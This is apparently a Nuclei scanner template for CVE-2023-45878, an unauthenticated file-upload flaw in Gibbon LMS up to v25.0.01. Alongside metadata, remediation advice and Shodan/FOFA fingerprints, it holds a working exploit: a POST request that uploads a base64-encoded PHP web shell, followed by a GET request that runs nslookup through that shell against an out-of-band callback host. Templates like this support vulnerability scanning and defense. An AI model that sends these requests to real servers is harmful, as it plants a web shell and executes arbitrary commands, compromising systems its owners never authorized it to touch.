Gibbon LMS <= v25.0.01 - File Upload to RCE

id: CVE-2023-45878

info:
  name: Gibbon LMS <= v25.0.01 - File Upload to RCE
  author: ajdumanhug
  severity: critical
  description: |
    Gibbon LMS versions 25.0.1 and earlier are vulnerable to an Arbitrary File Upload that can lead to Remote Code Execution (RCE). The issue stems from the rubrics_visualise_saveAjax.php endpoint, which, notably, does not require authentication. Because of this, unauthenticated attackers could potentially upload malicious PHP files and execute arbitrary code on the server.
  impact: |
    Unauthenticated attackers can upload arbitrary PHP files through the rubrics_visualise_saveAjax endpoint to execute arbitrary code on the Gibbon LMS server, enabling complete application and server compromise.
  remediation: |
    Fixed in v26.0.00; upgrade immediately, or restrict access to the vulnerable endpoint and implement WAF protection.
  reference:
    - https://github.com/GibbonEdu/core/releases/tag/v26.0.00
    - https://github.com/GibbonEdu/core/tree/16638b849220dd24ed1e536b44b76e222ae0f6c0
    - https://nvd.nist.gov/vuln/detail/CVE-2023-45878
    - https://herolab.usd.de/security-advisories/usd-2023-0025/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-45878
    epss-score: 0.63113
    epss-percentile: 0.991
  metadata:
    verified: true
    max-requests: 1
    vendor: gibbonedu
    product: gibbon
    shodan-query:
      - http.favicon.hash:-165631681
      - http.favicon.hash:"-165631681"
    fofa-query: icon_hash="-165631681"
  tags: cve2023,cve,file-upload,rce,gibbonedu,gibbon,vkev,vuln

flow: http(1) && http(2)

variables:
  filename: "{{rand_base(6)}}"

http:
  - raw:
      - |
        POST /modules/Rubrics/rubrics_visualise_saveAjax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        img=image/png;{{filename}},PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8%2b&path={{filename}}.php&gibbonPersonID=0000000001

    matchers:
      - type: dsl
        dsl:
          - "regex('^{{filename}}.php$', body)"
          - "status_code == 200"
        condition: and
        internal: true

  - raw:
      - |
        GET /{{filename}}.php?cmd=nslookup+{{interactsh-url}} HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - dns

      - type: status
        status:
          - 200
# digest: 490a0046304402202c2921f211547bd17a116d7e8975ff981d7a8b94c49d8af621345aa7baf0f5d9022066c2115e2f0e7099f959f3114f9711b2a441691210a8bf8d2c75441a88fdd500:922c64590222798bb761d5b6d8e72950